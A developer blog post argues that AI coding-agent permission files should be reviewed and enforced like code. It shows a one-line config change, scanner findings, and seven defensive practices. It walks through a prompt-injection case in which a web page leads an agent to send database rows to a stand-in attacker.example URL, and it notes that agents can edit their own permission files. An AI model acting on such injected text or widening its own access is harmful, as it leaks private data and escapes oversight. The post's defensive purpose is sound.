DEV Community

Cover image for Your agent's permissions are already code. Nobody is reviewing them.
Vasyl Duda
Vasyl Duda

Posted on AI-assisted

Your agent's permissions are already code. Nobody is reviewing them.

A one-line PR, what it really changed, and the practices I use before giving an AI agent real access.

Here's a pull request. One line.

- { "permissions": { "allow": ["mcp__postgres"] } }
+ { "permissions": { "allow": ["mcp__postgres", "WebFetch"] } }
Enter fullscreen mode Exit fullscreen mode

It's .claude/settings.json in a normal repo. The team already lets Claude Code query a staging copy of the app database through an MCP server, and now someone wants it to stop asking every time it opens a new docs site. Would you approve it? I think most of us would, on a Friday, in about four seconds.

Here is what that line actually changed. I ran a scanner I maintain on exactly this diff (more about it at the end):

Authority widened by this change:
  Claude Code (project): reads untrusted input yes, with approval -> yes, no approval
  Claude Code (project): sends data out yes, with approval -> yes, no approval

New findings:
  CRITICAL AGC-TRI-001  .claude/settings.json:1
           Claude Code (project) reads private data (mcp__postgres), reads untrusted
           input (WebFetch) and can send data out without approval (WebFetch).
Enter fullscreen mode Exit fullscreen mode

In plain words: the agent can now read the database, read any web page, and send data to any URL, and it doesn't need to ask anyone for any of it. A web page with the right sentence in it can ask the agent to take some rows and "fetch" https://attacker.example/?d=.... The agent fetches, and the rows are gone.

Nobody did anything stupid here. The reviewer saw a JSON diff. The consequence wasn't in the diff.

The fix: allow only the site you actually need, WebFetch(domain:docs.python.org), and run the same check again. Sending data out goes back to "with approval", the critical finding turns into a medium one (the agent still has all three legs; now only the approval prompt for Bash stands between them, and people do click yes), and the PR passes.

The fix is easy. Noticing is the hard part. Agent permissions already live in files and change in pull requests, and we don't review them like code.

What I mean by agents as code

Two things together.

First, declare. What an agent is allowed to do lives in a file in the repository: who owns it, which tools, on which resources, where data can go, what needs a person, when someone looks at it again.

Second, enforce. At runtime every tool call is checked against that file, and anything the file doesn't allow doesn't run.

You need both. A file nothing enforces drifts. A check with no file is a policy nobody reviews.

If this sounds like infrastructure as code, it is. Not that long ago servers were configured by hand. Then we moved the truth into files (Puppet and Chef, later Terraform), put them through pull requests and applied the files to the servers. People didn't get more careful. The process stopped needing them to be.

Agents are at the hand-configured stage right now.

Today an agent's prompt, tools, token and owner are spread across a vendor dashboard, code and configs, the developer's own admin token and whoever built it. As code, one file in the repository goes through review and a CI check, is enforced on every tool call and feeds an inventory.

There are two kinds of agents, and both have this problem:

  • Agents you use: Claude Code, Codex, Cursor, Copilot, Gemini CLI, and GitHub workflows that run them. Their permissions are partly files in your repo already (.claude/settings.json, .mcp.json, .codex/config.toml, .cursor/mcp.json). Partly, because user and local settings merge on top, and nobody reviews those. Most teams never look at any of it as security config.
  • Agents you ship: the support bot, the assistant in your product, the internal agent that files Jira tickets. Their permissions are spread around: a prompt in a vendor dashboard, tool wiring in code, an API token someone created once with admin scope because it was faster.

Why the prompt can't be the policy

An agent's prompt, together with everything it reads, decides what it wants to do. Its tools and credentials decide what it can do.

Prompt injection attacks the first one. Anyone who can put text in front of the model (a ticket, a web page, an email, a code comment, a tool result) can try to change what it wants. Today there is no reliable way to stop that. Filters help, and they also miss.

But no email, however clever, can give the agent a new tool or a wider token, as long as the capabilities live somewhere text can't reach and something checks them on every call.

Text that anyone can write reaches the prompt and context. Only a reviewed pull request can change the file. Every tool call passes a check that reads only the file.

One condition: the agent must not be able to edit that file. A coding agent with Edit and Bash in the repo can rewrite .claude/settings.json or open a PR that widens its own access. Deny Edit on .claude/** and .mcp.json, keep Bash on ask, and add those paths to CODEOWNERS so a person reviews every change to them.

An agent is exactly as safe as the worst thing it is able to do on its most confused day. That's why I care about the file more than about the prompt.

Seven practices

Roughly in the order you'll need them: the first three apply to the coding agents already in your repos, the rest to agents you build and ship.

1. Check agent config on every pull request

The useful question for a PR isn't "is this config perfect?". It usually isn't, and that's old debt. The question is "did this change let any agent do more than before?"

npx @shieldaai/agent-guard-check --base origin/main
Enter fullscreen mode Exit fullscreen mode

That's the scanner from the opening. It reads files only, never runs repo code, and by default fails only on new findings at high or above, so old debt doesn't block every PR. You don't need it to start, though. A CODEOWNERS rule on .claude/, .mcp.json and the other agent configs forces a second reviewer today. At runtime, permissions.deny, PreToolUse hooks or an MCP gateway with an allowlist limit the damage. Whatever you pick, put an automated check next to the human reviewer. People reading JSON alone won't catch this.

2. Break the lethal trifecta on purpose

Simon Willison named it: private data, untrusted content, and a way to send data out. The leak needs all three. (Other combinations have their own problems: untrusted input plus write access can still delete things.)

Three overlapping circles: reads private data, reads untrusted input, can send data out. The overlap of all three is the lethal trifecta.

When you find an agent with all three, the cheapest leg to cut is almost always sending. And watch for sending you didn't count as sending. Fetching a URL is sending, if the agent picks the URL.

3. Treat tool definitions like dependencies

An MCP server you approved last month can change a tool's description tomorrow, and that description goes straight into the model's context. Pin what you approved (a version, or a digest of the definition), and when it changes, refuse calls until a person reviews the new one. Same idea as a lockfile. For coding agents, at least pin the server version in .mcp.json (pkg@1.4.2, not @latest).

Same rule for everything else you can't verify: a config you can't parse, a hook you can't follow, a tool you don't recognize. Unknown is not safe. Fail closed.

4. Give every agent you ship a file with an owner and a review date

Write capabilities in it, not wishes. "Be careful with customer data" is a prompt. "Reads the customer record of the ticket it's working on" is a capability you can check in code. Add an owner and a review_by date. Agents from hackathons keep running after everyone forgets them, and two lines save you the "who even uses this token?" conversation six months later.

5. Grant per task and per resource

"The support agent can delete tickets" is too wide. "This task, working on ticket 42, can delete ticket 42" is the right size:

grants: [{ tool: 'delete-ticket', resources: ['ticket:42'] }]
Enter fullscreen mode Exit fullscreen mode

Then the model can ask for ticket 7 as many times as it wants. The call is refused before it runs, so a misled agent is still limited to what this one task was given.

6. Bind approvals to one exact action, once

"Ask a human for dangerous stuff" is the standard advice, and it's right, but the details matter. An approval should cover these arguments, on this resource, one time, with an expiry. Otherwise "approve delete ticket 42" quietly becomes "approve deletes".

In Agent Guard it looks like this (tool registration left out. The README example linked at the end runs as is; add a second execute to see the replay refused.)

const prepared = await guard.prepare(task, { tool: 'delete-ticket', args: { id: '42' } });
const approvalId = guard.approve(prepared, { approverId: 'alice', expiresAt: Date.now() + 30_000 });
await guard.execute(prepared, { approvalId }); // runs
await guard.execute(prepared, { approvalId }); // throws ACTION_USED
Enter fullscreen mode Exit fullscreen mode

The approval works once and a replay is refused. And the model must never be the one calling approve. That's your code, after a signed-in person clicks a button.

7. Let credentials follow the file

If the file says "reads tickets" and the token says "admin", the token wins. Give each agent, ideally each task, its own credential scoped to what the file allows, and close the side doors: no spare shell, no second client holding the same token.

What this doesn't solve

I'd rather say it myself than read it in the comments.

  • It doesn't detect prompt injection. It limits what an injected agent can do.
  • It only covers calls that go through the check. If the agent has a shell or its own database connection, that's a second door, and the file doesn't apply there.
  • It doesn't make a bad grant safe. If the file says the agent can refund any order, it can, and a customer can ask it to in a ticket. The file only makes that decision visible and signed.
  • Someone still has to read the diff. The scanner shows the consequence. A person decides.

Where to start

If I had one afternoon:

  1. Run a scanner over the repos where your team uses coding agents. Look for the trifecta first.
  2. Pick the shipped agent with the widest token and write its file: owner, tools, resources, where data goes, what needs a person.
  3. Put the one tool it should never call without a person behind an approval.
  4. Add the PR check, so next Friday's one-line change gets a second look.

Agents are getting more access every month. I'd rather we write that access down and review it now, while there are ten agents, than reconstruct it from logs later when there are five hundred.

About the tools I used

Agent Guard and the scanner are free and open source (Apache-2.0). There's no paid version. I care more about the idea than my implementation: agent permissions should be written down, reviewed and enforced. I'd be glad to see other projects do it, including better ones. The runnable example from practice 6 is in the README.

If you do this differently, or you think part of it is wrong, I'd like to hear it in the comments.

I wrote this with help from an AI assistant. The examples and scanner output are from runs on my own machine.

Top comments (0)